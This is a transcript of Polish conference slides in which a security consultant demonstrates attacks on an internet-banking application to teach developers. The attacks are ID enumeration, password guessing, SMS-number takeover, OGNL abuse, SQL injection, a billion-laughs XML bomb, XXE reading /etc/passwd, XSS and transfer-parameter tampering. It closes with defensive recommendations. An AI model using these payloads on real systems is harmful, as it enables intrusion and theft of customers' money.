Jak włamałem się do banku

47
JAK WŁAMAŁEM SIĘ DO BANKU Czy jesteś pewien, że twoja aplikacja jest bezpieczna? Sławomir Jasek SecuRing 4Developers, Warszawa, 7.04.2014 r.

Transcript of Jak włamałem się do banku

JAK WŁAMAŁEM SIĘ DO BANKU

Czy jesteś pewien, że twoja aplikacja jest bezpieczna?

Sławomir Jasek

SecuRing

4Developers, Warszawa, 7.04.2014 r.

Sławomir Jasek

Konsultant bezpieczeństwa (~ 10 lat), setki projektów, głównie

różnego typu aplikacje

SecuRing (od 2003)

Testowanie i doradztwo dotyczące bezpieczeństwa aplikacji i systemów IT

Jeśli to możliwe w ramach„white-box” (przegląd konfiguracji, kodu,

konsultacje), a także już na etapie definiowania architektury

Wynikiem testu jest dokładny raport opisujący szczegółowo znalezione

podatności (oraz wykonane testy), wraz z rekomendacjami/sposobami

naprawy

Disclaimer ;-)

● Wszelkie podobieństwo do istniejących systemów i

podatności jest przypadkowe

● Próby ataku na aplikacje bez zgody jej właściciela

mogą prowadzić do poważnych konsekwencji!

http://freestock.ca/signs_symbols_g43-grunge_warning_sign__do_not_read_this_sign_p1723.html

Perspektywa intruza

Tradycyjne napady na placówki już jakoś nie wychodzą ;)

http://en.wikipedia.org/wiki/Olsen_Gang

Bankowość Internetowa!

Uwierzytelnienie

● Formularz logowania

Uwierzytelnienie

● Formularz logowania - identyfikator

7-cyfrowy identyfikator, hmm...

● 7 cyfr to 10 milionów możliwości. Trochę dużo...

● A, spróbujmy coś wpisać

7-cyfrowy identyfikator, hmm...

● 7 cyfr to 10 milionów możliwości. Trochę dużo...

● A, spróbujmy coś wpisać

7-cyfrowy identyfikator, hmm...

● 7 cyfr to 10 milionów możliwości. Trochę dużo...

● A, spróbujmy coś wpisać

7-cyfrowy identyfikator, hmm...

● 7 cyfr to 10 milionów możliwości. Trochę dużo...

● A, spróbujmy coś wpisać

7-cyfrowy identyfikator, hmm...

● 7 cyfr to 10 milionów możliwości. Trochę dużo...

● A, spróbujmy coś wpisać

7-cyfrowy identyfikator, hmm...

● 7 cyfr to 10 milionów możliwości. Trochę dużo...

● A, spróbujmy coś wpisać

Uwierzytelnienie

● Sprawdzenie wszystkich identyfikatorów na

przeciętnym łączu zajmie maksymalnie kilka dni.

● Mamy istniejące identyfikatory. I co dalej?

● Wszystko jedno do którego konta się włamiemy.

Wystarczy, że zgadniemy hasło do dowolnego.

● Dla każdego identyfikatora próbujemy najprostsze

dopuszczalne hasła

● Po 3 próbach konto się blokuje. Sprawdzamy 2

hasła, żeby nie narobić szumu.

Uwierzytelnienie - hasła

• Najpopularniejsze na świecie:

password, 123456, abc123 ...

• A tymczasem w Polsce:

d**a, k**a, polska, legia…

• Minimalne wymogi złożoności (8 znaków, 1 cyfra,

znak specjalny), i mamy kandydata:

d**ak**a1!

Autoryzacja transakcji

● OK, możemy się zalogować, zobaczyć ile klient

zarabia, na co wydaje...

● Ale nadal nie możemy ukraść pieniędzy :-(

● Bank wymaga autoryzacji kodem SMS, przesyłanym

na zaufany numer

● Hmm... gdyby tak się dało zmienić numer telefonu do

SMS na swój?

Zmiana numeru telefonu do autoryzacji

● Hmm... a gdyby tak zmienić nr telefonu do

kodów SMS na swój?

● Krok 1

Zmiana numeru telefonu do autoryzacji

● Krok 2

Zmiana numeru telefonu do autoryzacji

● Krok 2

Zmiana numeru telefonu do autoryzacji

● Krok 3 – działa!

Przelew z cudzego konta

● No dobra, tego klienta wyczyściliśmy. Ale jest

jeszcze wielu innych, gdzie nie zgadliśmy

hasła...

● Przelew. A gdyby tak z cudzego konta? ;-)

● Hmm... zobaczmy.

Przelew z cudzego konta

Jak to się stało? ● Wewnętrzny stan aplikacji może być nadpisany w inny

sposób niż spodziewał się programista. Framework

czasami działa nawet zbyt dobrze ;)

● Enterprise Java Beans okiem pentestera:

http://despicableme.wikia.com/wiki/Minions/Gallery

Automagia: Expression Language

Dotychczas:

<%=HTMLEncoder.encode(((Person)person.getAddress().getStreet())%>

Expression Language (OGNL):

<c:out value="person.address.street" />

Ale potęga warstwy abstrakcji może być

wykorzystana do ataku na aplikację.

Siła OGNL

Eskalujemy dalej

● Bankowość internetowa została napisana ze

szczególną dbałością o bezpieczeństwo

● Programiści znają problem SQL injection, wiedzą jak

należy poprawnie budować zapytania do bazy

● Kod źródłowy został poddany dokładnej analizie pod

tym kątem

Prepared statement / call

String sql = "select * from users where

firstname=? and lastname=?";

query = conn.prepareStatement(sql);

query.setString(1, "Jan");

query.setString(2, "Kowalski");

result = query.executeQuery();

Czy coś tu może być nie tak?

String sql = "{call

USERS.search(" + "?" + ", ?)}";

call = conn.prepareCall(sql);

call.setString(1, "Jan");

call.setString(2, "Kowalski");

call.execute();

Pod maską: procedura składowana

PROCEDURE search(

p_firstname IN T_STRING,

p_lastname IN T_STRING,

) IS

(...)

v_sql_select := ' SELECT distinct a.USER_ID';

v_sql_from := ' FROM APP_WEB.USERS a ';

v_sql_where := ' WHERE a.USER_ID is not null ';

IF p_firstname is not null THEN

v_sql_where := v_sql_where || ' and lower(trim(a.FIRSTNAME)) =

lower(trim(' || P_FIRSTNAME || ')) ';

END IF;

Pod maską: procedura składowana

PROCEDURE search(

p_firstname IN T_STRING,

p_lastname IN T_STRING,

) IS

(...)

v_sql_select := ' SELECT distinct a.USER_ID';

v_sql_from := ' FROM APP_WEB.USERS a ';

v_sql_where := ' WHERE a.USER_ID is not null ';

IF p_firstname is not null THEN

v_sql_where := v_sql_where || ' and lower(trim(a.FIRSTNAME)) =

lower(trim('|| 'adam')) union select version,'x' from v$instance-- || '))';

END IF;

Hacking - wg Hollywood

http://www.youtube.com/watch?v=F7qOV8xonfY

SQL injection: jak to się robi

Atak na parser XML

● Parametry przesyłane z przeglądarki klienta przy

składaniu wniosku do banku są w formie XML

data=%3C%3Fxml+version%3D%221.0%22%3F%3E%0A%3Cuser%3E%0A%C2%A0%C2%A0%C2%A0%C2%A0%3Cfirstname%3EJan%3C%2Ffirstname%3E%0A%C2%A0%C2%A0%C2%A0%C2%A0%3Clastname%3EKowalski%3C%2Flastname%3E%0A%3C%2Fuser%3E

● czyli

<?xml version="1.0"?> <user> <firstname>Jan</firstname> <lastname>Kowalski</lastname> </user>

Atak na parser XML

● Co zrobi parser jeśli dopiszemy nowy DOCTYPE?

<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> ]> <lolz>&lol;</lolz> <lolz>lol</lolz>

Atak na parser XML

● Co zrobi parser jeśli dopiszemy nowy DOCTYPE?

<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ELEMENT lolz (#PCDATA)>

]> <lolz>&lol1;</lolz> <lolz>lollollollollollollollollollol</lolz>

Atak na parser XML

● Co zrobi parser jeśli dopiszemy nowy DOCTYPE?

<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> <user> <firstname>Jan</firstname> <lastname>Kowalski</lastname> </user>

http://en.wikipedia.org/wiki/Billion_laughs

Co się stanie z serwerem?

http://www.youtube.com/watch?v=TDGaUotWlis

Atak na parser XML - XXE

● A gdyby tak:

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<foo>&xxe;</foo>

● Tylko w 2014 r. poległy już w ten sposób:

Google, Facebook, Ebay...

Cross Site Scripting

Nasz framework automagicznie koduje na wyjściu

wszystkie znaki specjalne do kontekstu HTML

<bean:write name="transferFormId" property="trn_recipient"/>

trn_recipient="<script>alert('xss')</script>

<input type="text" name="trn_recipient" value="&quot;&lt;script&gt;alert('xss')&lt;/script&gt;"

Cross Site Scripting

● Ale w przyrodzie występują również m.in.

<bean:write name="transferFormId" property="trn_recipient" filter="false"/>

<input value="${trnRecipient}"

● Lub wklejenie bezpośrednio w kontekst javascript:

<script> var split='<bean:write name="transferFormId" property="trn_recipient">'; splitRecipient(split); </script>

trn_recipient=';alert('xss');--

<script> var split='';alert('xss');--

Atak na system wewnętrzny

Atak na system wewnętrzny

Wnioski

● Myśl o bezpieczeństwie, patrz na aplikację z

pozycji intruza (modelowanie zagrożeń)

● Zasada ograniczonego zaufania do zewnętrznych

bibliotek, frameworków, warstw abstrakcji. RTFM,

łatki, konfiguracja...

● Nawet teoretycznie drobne błędy mogą przy

sprzyjających warunkach doprowadzić do

poważnych konsekwencji

● Bezpieczeństwo w SDLC – np. OpenSAMM

● Testy penetracyjne wykazują podatności, których

można nie zauważyć nawet przy przeglądzie kodu

https://www.flickr.com/photos/arenamontanus/2125942630/

Dziękuję!

[email protected]

Inne błędy autoryzacji

● Krok 1 – wprowadzenie przelewu

● from=29466256723999805678149498&to=92940458930436651352719727&title=test&amount=100&currency=PLN&action=INITIALIZE

● Krok 2 – podpisanie

● code=1133245&action=SIGN

● Krok 3 – wysłanie

● action=SEND

Inne błędy autoryzacji

● Krok 1 – wprowadzenie przelewu

● from=29466256723999805678149498&to=92940458930436651352719727&title=test&amount=100&currency=PLN&action=INITIALIZE

● Krok 2 – podpisanie

● code=1133245&action=SIGN

● Krok 3 – wysłanie

● action=SEND

Ukryta funkcjonalność

● Formularz wnioskowy we flash-u. Parametry

wywołania – flashvars:

Form_RunContent( "src", "static/swf/Form","width", "100%","height", "100%","align",

"middle", "quality", "high","bgcolor", "#FFFFFF","type", "application/x-

shockwave-flash", "pluginspage", "http://www.adobe.com/go/getflashplayer", "flashVars",

"formID=57&amp;internalDialog=false&amp;localeChain=pl_PL&amp;"

● internalDialog=false? A jak ustawię na true?

Ukryta funkcjonalność

Siła OGNL ;)